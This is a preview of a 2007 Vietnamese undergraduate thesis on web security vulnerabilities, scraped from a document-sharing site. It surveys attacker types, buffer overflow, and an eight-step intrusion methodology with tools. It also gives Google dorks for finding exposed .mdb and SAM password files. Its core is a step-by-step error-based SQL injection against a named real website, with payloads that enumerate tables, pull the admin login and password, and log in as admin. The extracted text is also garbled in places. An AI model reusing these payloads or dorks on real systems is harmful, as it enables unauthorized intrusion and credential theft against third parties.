Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 74 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
74
Dung lượng
759,92 KB
Nội dung
BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC DÂN LẬP HẢI PHÒNG 00000 - NGHIÊN CỨU BẢO ĐẢM AN TỒN THƠNG TIN BẰNG KIẾM SỐT “LỖ HỔNG” TRONG DỊCH VỤ WEB ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY Nghành: Cơng Nghệ Thơng Tin HẢI PHÒNG-2007 MỤC LỤC Bảng giải từ viết tắt Lời mở đầu Bảng giải từ viết tắt DNS Domain Name System Hệ thống tên miền ACK CSDL SYN TTL Acknowlegment Synchronize Time TO Li ve Xác nhận Cơ sở liệu Đồng Thời gian tồn FIN HTTP Fully Intergrated Netword Hyper Text Transfer protocol Mạng tích hợp đầy đủ Giao thức truyền siêu văn SSL HTTPS Hacker Secure Socket Layer HTTP + SSL Khe cắm an toàn CGI IP TCP Common Gateway Interface Internet Protocol Transfer Control Protocol Giao diện cổng thông thường Giao thức mạng Giao thức điều khiển truyền thông SSI URI URL Server Side Include Uniform Resour Identiíies Uniform Resour Locator Ngơn ngữ phía trình chủ Con trỏ đến tài nguyên web Định vị tài nguyên web CSV dbo Sa Client Side Validator Data base owner System Administrator Kiểm tra ngơn ngữ phía trình duyệt Người sở hữu sở liệu Người quản trị hệ thống Tin tặc IIS Internet Information Server OWASP The open web Appllication Standard project Dịch vụ thông tin mạng Dự án ứng dụng web HTML Hyper Text Markup Language Ngôn ngữ đánh dấu siêu văn IIS Internet Infomation Server LỜI MỞ ĐẦU Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân cónhu cầu giới thiệu thơng tin xa lộ thơng tin thực phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng ứng dụng Web ngày mở rộng khả xuất lỗi (lỗ hổng) bị công cao, trở thành đối tượng cho nhiều người cơng với mục đích khác Đơi khi, đơn giản để thử tài đùa bỡn với người khác Cùng với phát triển khơng ngừng Internet dịch vụ đó, số lượng vụ công Internet tăng theo cấp số nhân Trong phương tiện thông tin đại chúng ngày nhắc nhiều đến khả truy nhập thơng tin Internet, tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng Internet Theo số liệu CERT (Computer Emegency Response Team "Đội cấp cứu máy tính"): “số lượng vụ cơng Internet thơng báo cho tổ chức 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, 2241 vào năm 1994, năm 2001 5315 vụ.” Nguyên nhân chủ yếu làm cho vụ cơng tăng nhanh có nhiều “lỗ hổng” tìm thấy ứng dụng web Theo thống kê Symantec “năm 2004 có 49% số lượng lỗ hổng tìm thấy ứng dụng web Từ tháng đến tháng 11 năm 2006, xác định lỗ hổng bảo mật nằm ứng dụng web chiếm tới 75%, tăng 15% so với đầu năm” Những vụ công nhằm vào tất máy tính có mặt Internet, máy tính công ty lớn AT&T, IBM, trường đại học, quannhà nước, tổ chức quân sự, nhà băng Một số vụ cơng có quy mơ khổng lồ (có tới 100.000 máy tính bị cơng) Hơn nữa, số phần tảng băng Một phần lớn vụ cơng khơng thơng báo, nhiều lý như: nỗi lo bị uy tín, đơn giản người quản trị hệ thống không hay biết công nhằm vào hệ thống họ (Một ví dụ điển hình cơng vào phần mềm thương mại IBM tháng 3/2001, hai hacker tìm thấy lỗ hổng ứng dụng mà với trình duyệt Web lấy tài khoản người dùng, chí người quản trị) Không số lượng công tăng lên nhanh chóng, mà phương pháp cơng ngày tinh vi có tổ chức Mặt khác, việc quản trị hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức kinh nghiệm hệ thống mạng chắn, yếu quản lý tạo nhiều điều kiện cho hacker khai thác Cũng theo CERT, công thời kỳ 1988-1989 chủ yếu đoán “tên người sử dụng/mật khẩu” (UserID/password) sử dụng lỗi chương trình hệ điều hành (security hole) làm vơ hiệu hệ thống bảo vệ, nhiên công vào thời gian gần bao gồm thao tác giả mạo địa IP, theo dõi thông tin truyền qua mạng, chiếm phiên làm việc từ xa (telnet rlogin), cài trojan hay worm để kiểm sốt hay điều khiển máy tính thế, nhu cầu bảo vệ thông tin Internet cần thiết nhằm mục đích bảo vệ liệu, bảo vệ thơng tin người dùng bảo vệ hệ thống Khi nói đến vấn đề bảo mật, hầu hết chuyên gia bảo mật trọng đến an toàn hệ thống mạng hệ điều hành Để bảo vệ hệ thống, phương pháp thường chọn sử dụng firewall Tuy nhiên, theo tuyên bố củaCSI/FBI : 78% nơi bị hại có sử dụng firewall 59% bị công thông qua Internet, cụ thể theo báo cáo CSI/FBI Computer Crime Security Survey tong số thiệt hại ứng dụng Web bị công từ năm 1997 đến năm 2006 800 triệu đôla Mỹ Với công cụ tự động tìm lỗ hổng giúp nhiều cho nhà lập trình Web khơng thể ngăn chặn tồn cơng nghệ Web phát triển nhanh chóng (chủ yếu trọng đến yếu tố tham mĩ, yếu tố tốc độ ) nên dẫn đến nhiều khuyết điểm phát sinh Sự công không nằm khuôn khổ vài kĩ thuật phát hiện, mà linh động tăng lên tùy vào sai sót nhà quản trị hệ thống người lập trình ứng dụng Chương 1: KHÁI NIỆM CƠ SỞ 1.1 KHÁI NIỆM VỀ BẢO VỆ WEB Bảo vệ web khơng cịn khái niệm xa lạ người lập trình web, nhà quản trị mạng, Mục tiêu bảo vệ web gồm có: Bảo mật: Thơng tin khơng đọc trái phép Bảo tồn: Thông tin không bị sửa đoi cách trái phép Bảo đảm tính sẵn sàng: Người dùng hợp pháp có quyền truy cập hay sử dụng thông tin Hai đối tượng sử dụng dịch vụ web người dùng người quản trị hệ thống Phía người dùng dịch vụ web, an toàn mạng trước hết yêu cầu đặt với server Thứ nhất, yêu cầu gửi đến server phải thưc thi phản hồi thời gian định (tính sẵn sàng) Thứ hai, thông tin gửi tới phải đảm bảo không bị virut hay bị sửa đổi tác nhân khác (tính tồn vẹn) Thứ ba, server khơng phổ biến thơng tin cá nhân mạng (tính bí mật) Phía nhà quản trị hệ thống, họ có yêu cầu giống với người dùng nhìn góc độ khác Thứ nhất, họ phải đảm bảo người dùng xâm nhập vào server để thay đổi nội dung website (tính tồn vẹn) Thứ hai, người dùng truy cập vào thông tin không thuộc quyền họ (tính bí mật bắt buộc) Thứ ba, người dùng công server làm khơng thể phục vụ người dùng khác (tính sẵn sàng) Thứ tư, người dùng nhận dạng phải chịu trách nhiệm chối bỏ hành động (tính xác thực) ❖ Đối tượng cơng mạng (Intruder): cá nhân tổ chức sử dụng công cụ phá hoại phần mềm phần cứng để dị tìm điểm yếu, lỗ hổng bảo mật hệ thống, thực hoạt động xâm nhập chiếm đoạt tài nguyên mạng trái phép Một số đối tượng công mạng: Tin tặc (Hacker): kẻ xâm nhập mạng trái phép cách sử dụng công cụ phá mật khai thác điểm yếu thành phần truy nhập hệ thống Kẻ giả mạo (Masquerader): kẻ giả mạo thông tin mạng Một số hình thức giả mạo giả mạo địa IP, tên miền, định danh người dùng Kẻ nghe trộm (Evesdropping): đối tượng nghe trộm thông tin mạng sử dụng công cụ sniffer, sau dùng cơng cụ phân tích debug để lấy thơng tin có giá trị Mục đích: ăn cắp thơng tin có giá trị kinh tế, phá hoại hệ thống mạng có chủ định vó thể hành động vơ ý thức nhằm thử nghiệm chương trình khơng kiểm tra cẩn thận, ❖ Lỗ hổng bảo mật: yếu hệ thống ẩn chứa dịch vụ đó, mà dựa vào kẻ cơng xâm nhập trái phép để thực hành động phá hoại chiếm đoạt tài nguyên bất hợp pháp Nguyên nhân gây lỗ hổng bảo mật khác nhau: lỗi thân hệ thống, phần mềm cung cấp, người quản trị yếu không hiểu sâu sắc dịch vụ cung cấp, Mức độ ảnh hưởng lỗ hổng khác nhau: có lỗ hổng ảnh hưởng tới chất lượng dịch vụ, có lỗ hổng ảnh hưởng sâu sắc tới toàn hệ thống, ❖ Một số hình thức cơng mạng Dựa vào lỗ hổng bảo mật mạng: lỗ hổng thường điểm yếu dịch vụ mà hệ thống cung cấp Sử dụng cơng cụ để phá hoại: ví dụ chương trình phá khóa mật để truy cập bất hợp pháp vào chương trình Kẻ cơng kết hợp hai hình thức để đạt mục đích Tùy thuộc vào cách cơng mà mức nguy hại tới hệ thống khác Các mức công hệ thống: Mức 1: Tấn công vào số dịch vụ mạng: web, email, dẫn đến Nguy lộ thơng tin cấu hình mạng Mức 2: Kẻ phá hoại dùng tài khoản người dùng hợp pháp để chiếm đoạt tài nguyên hệ thống Kẻ phá hoại thay đổi quyền truy nhập qua lỗ hổng bảo mật đọc thông tin tập tin liên quan đến truy nhập hệ thống như: /etc/passwd (Linux) SAM file (windows) Mức 3,4,5: Kẻ phá hoại không sử dụng quyền người dung thông thường, mà có thêm quyền cao với hệ thống quyền kích hoạt số dịch vụ, xem thông tin khác hệ thống Mức 6: Kẻ công chiếm quyền root admin hệ thống ❖ Các mức bảo vệ an toàn mạng 10 Cách gây tràn đệm qua ứng dụng web Các bước kỹ thuật tràn đệm là: chuẩn bị đệm dùng để làm tràn, xác định địa trả về, xác định địa đệm chứa shellcode, cuối gọi thực thi chương trình bị tràn đệm Thông qua ô nhập liệu hacker sử dụng chuỗi string nhị phân có khả thực thi đoạn lệnh máy đích phá vỡ hệ thống phải xử lí liệu dài, vượt khả cho phép hệ thống Biện pháp phòng chống: Người thiết kế Web cần phải kiểm tra kĩ kích thước liệu trước dùng Dùng Referer HTTP Header để kiểm tra yêu cầu có phải xuất phát từ máy người dùng Xem xét tính bảo mật mã nguồn phần mềm mở Sử dụng vùng nhớ cấp phát động Can thận sử dụng vòng lặp để chép liệu từ biến, cần đảm bảo giới hạn kiểm tra Cài đặt sửa lỗi Sử dụng công cụ hướng dẫn để đánh giá mức độ an toàn chương trình, Slint, rát, flawfinder Chương 3: TỔNG KẾT Q TRÌNH TẤN CƠNG CỦA HACKER 3.1 THU THẬP THƠNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU Bước 1: FootPrinting (Thu thập thông tin): Cách hacker làm muốn lấy lượng thông tin tối đa máy chủ, doanh nghiệp, người dùng; bao gồm chi tiết địa IP, Whois, DNS - thông tin thức có liên quan đến mục tiêu Cơng cụ hỗ trợ: UseNet, search engines (cơng cụ tìm kiếm), Edgar Any Unix client, nslookup Is -d , Sam spade, Bước 2: Scanning (Qt thăm dị): Phần lớn thơng tin quan trọng từ server có từ bước , bao gồm quét cong, xác định hệ điều hành, v.v để biết port server, nghe đường liệu Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap, queso, siphon Bước 3: Enumeration (Liệt kê tìm lỗ hổng): Tìm kiếm tài nguyên bảo vệ kém, tài khoản người dùng sử dụng để xâm nhập, bao gồm mật mặc định, script dịch vụ mặc định Rất nhiều người quản trị mạng đến không sửa đổi lại giá trị Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo Bước 4: Gaining access (Tìm cách xâm nhập): Bây hacker tìm cách truy cập vào mạng, thơng tin có ba bước Phương pháp sử dụng là: công vào lỗi tràn đệm, lấy giải mã file password, hay brute force (kiểm tra tất trường hợp) password Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT) ttdb, bind, IIS, HTR/ISM.DLL Bước 5: Escalating privilege (Leo thang đặc quyền): Trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản đó, họ tìm cách kiểm sốt tồn hệ thống Hacker tìm cách lấy mật người quản trị, sử dụng lỗ hổng để leo thang đặc quyền Công cụ: LOphtcrack, Ic_messages, getadmin, sechole Bước 6: Pilfering (Dùng file chứa pass bị sơ hở): Các máy tìm kiếm đựơc sử dụng để tìm phương pháp truy cập vào mạng Những file text chứa password hay chế khơng an tồn khác đích cho hacker Thơng tin lấy từ bước đủ để ta định vị server điều khiển server Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry Bước 7: Covering Tracks (Xoá dấu vết) : Sau có thơng tin cần thiết, hacker tìm cách xoá dấu vết, xoá file log hệ điều hành làm cho người quản lý không nhận hệ thống bị xâm nhập, có biết khơng tìm kẻ xâm nhập Xóa log Công cụ: Zap, Event log GUI, rootkits, file streaming Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập dễ dàng hơn): Hacker để lại "Back Doors", tức chế cho phép hacker truy nhập trở lại đường bí mật, tốn nhiều công sức, việc cài đặt Trojan hay tạo user (đối với to chức có nhiều user) Cơng cụ: loại Trojan, keylog, creat rogue user accounts, schedule batch jobs, infect startup files, plant remote control services, install monitoring mechanisms, replace apps with Trojan 3.2 KHẢO SÁT ỨNG DỤNG WEB Phương pháp khảo sát phổ biến, Xem mã nguồn lợi dụng lỗi cho phép xem mã nguồn để tìm phương thức cơng phù hợp Một số ngơn ngữ web thơng dụng có nhiều lỗi Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP) Tìm site bị lỗi cách dùng www.google.com, search từ khóa liên quan Sử dụng allinurl: trước đoạn string đặc biệt cần kiếm, trang Web tìm kiếm chắn có chuỗi cần tìm Ví dụ: "allinurl:/advadmin" (khơng có ngoặc kép) liệt kê trang có URL có dạng : http://tentrangweb.com/advadmin Tìm file http://www.google.com thêm chữ type file: trước tên file cần tìm chun khu web Ví dụ: + Muốn tìm file mdb (đây file chứa mật trang Web, dùng Access để mở) vào http://www.google.com đánh type file:mdb + Tìm file SAM (đây file chứa Password Windows NT, dùng L0phtCrack để Crack) vào http://www.google.com đánh type file:SAM + Tấn công vượt qua chế kiểm soát (authentication, authorization) Bao gồm phương pháp đốn mật khẩu, thay đoi thơng tin cookies, kĩ thuật directory traversal, leo thang đặc quyền, phương pháp công dựa vào SQL, SQL injection + Tìm hiểu sâu chức ứng dụng web Tìm hiểu cách thực phần ứng dụng, đặc biệt order input, coníirmation, order tracking Ớ ta áp dụng phương pháp SQL Injection, input validation + Tìm hiểu luồng di chuyển thơng tin Các thơng tin tương tác client server, thông tin tương tác với database Hiện việc viết mã để thực việc giao tiếp thông tin thường phải đảm bảo tính hiệu (nhanh), bảo mật (có thể chậm hơn) Thường tính hiệu ưu tiên phát sinh lỗi q trình giúp hacker lợi dụng lỗi SQL input để đoạt quyền điều khiển hệ thống + Tấn công Khi thu thập khảo sát kỹ đối tượng, hacker bắt đầu thực công nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành quyền kiểm sốt, Cịn khơng thành cơng việc xâm nhập, Dos cách thức cuối mà hacker thường lựa chọn để làm cho hệ thống khơng thể hoạt đơng Ví dụ kiểu công SQL Injection câu lệnh SELECT nhằm lấy tên đăng nhập mật admin (bằng cách thêm câu lệnh truy vấn URL): (Thử nghiệm công vào trang http://www.ectb.org) - Tìm trang web có khả bị lỗI SQL Injection: sử dụng từ khóa “allinurl”: allinurl :"shopdisplayproducts.asp?code= (Có thể “id=” “cat=”) - Xem trang web có lỗi cách thêm dấu nháy đơn (‘) vào sau giá trị “code=”: http://www.ectb.org/ectb/tabs/leagues/league_listing.asp?code=DL' - Trang web có lỗi xuất thơng báo dấu nháy gây ra: Bây ta khai thác lỗi cách thêm câu lệnh SQL vào sau dấu nháy: - Mục tiêu thứ lấy bảng CSDL: %20and 1=convert(int,(select top table_name from information_schema.tables)) sp_password information_schema.tables: chứa tất bảng DL - Lấy bảng lại CSDL: sử dụng câu lệnh “not in” vớI bảng %20and 1=convert(int,(select top table_name from information_schema.tables where table_name not in ('LeagueMaster2'))) sp_password 'Sr ECTB - Elite championship Tourn , E + Ãdd Tab ùpnnsurs Select an age grout Assucĩates At íìlidt j ns EEĨB KEÌWS ECỈB Stars Microsott OLE DB Provider for ODBC Dri [Microsoftl[ODBC SQL Server Driver][SQ QCếãguePũiẬts^ũ a column of data type i /ectb/tabs/leagues/league_listing.asp, lir Address http: fịvmw ectb, org/ectb/tabs/leagues/league listir v V Search Web - Khi lấy hết bảng CSDL: Go Links %20and%201=convert(int,(select%20top%201%20table_name%20from%20inf ormation_schema.tables%20where%20table_name%20not%20in%20 ('LeagueMaster2','LeaguePoints ','TournamentPermissions', 'ActContacts', 'AdminAccess','AdminAccessGroups','AdminUsers','AdminUsersAccess', 'AdminUsersLogins'))) sp_password Ta thông báo: - Tiếp theo, ta lấy trường nằm bảng, xem bảng nàochứa thông tin admin (Ớ bảng cần tìm “Adminusers”) %20and 1=convert(int,(select top infOrmation_schema.columns where sp password column_name from table_name=('Adminusers'))) information_schema.columns: chứa thông tin tất cột bảng - Ta dùng lệnh “not in” để lấy cột bảng: %20and 1=convert(int,(select top column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('userID'))) sp_password Các cột tiếp theo: %20and%201=convert(int,(select%20top%201%20column_name%20fr om%20information_schema.columns%20where%20table_name= ('AdminUsers')%20and%20column_name%20not%20in%20('userID', 'displayName','login','password'))) sp_password - Tìm tên đăng nhập mật khẩu: '%20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpassword %20from%20AdminUsers)) sp_password - Đến địa admin thực hiên đăng nhập: - Đăng nhập thành công: - Click vào kiện “Submit Event” Kết nhận trang dùng để thêm thông tin vào sở liệu Tài liệu tham khảo [1] ASP 3.0- Nguyên Phương Loan, NXB Lao Động-Xã Hội [2] Hacking Exposed- Stuart McClure, Joel Scambray, George Ku Các website: [5] http: //online securityfocus.com/archive [6] www.hvaonline.net [7] http://www.networksolutions.com/whois [8] www.vnexpress.com [9] www.quantrimang.com [10] www.cert.org [11] www.owasp.org ... nhu cầu bảo vệ thơng tin Internet cần thiết nhằm mục đích bảo vệ liệu, bảo vệ thông tin người dùng bảo vệ hệ thống Khi nói đến vấn đề bảo mật, hầu hết chuyên gia bảo mật trọng đến an toàn hệ... KHÁI NIỆM VỀ BẢO VỆ WEB Bảo vệ web khơng cịn khái niệm xa lạ người lập trình web, nhà quản trị mạng, Mục tiêu bảo vệ web gồm có: Bảo mật: Thơng tin khơng đọc trái phép Bảo tồn: Thơng tin khơng... phạm Việc bảo vệ thông tin mạng chủ yếu bảo vệ thông tin cất giữ máy tính, đặc biệt server mạng Các lớp rào chắn bảo vệ thông tin trạm mạng: Lớp thứ nhất: qui định quyền truy nhập thông tin mạng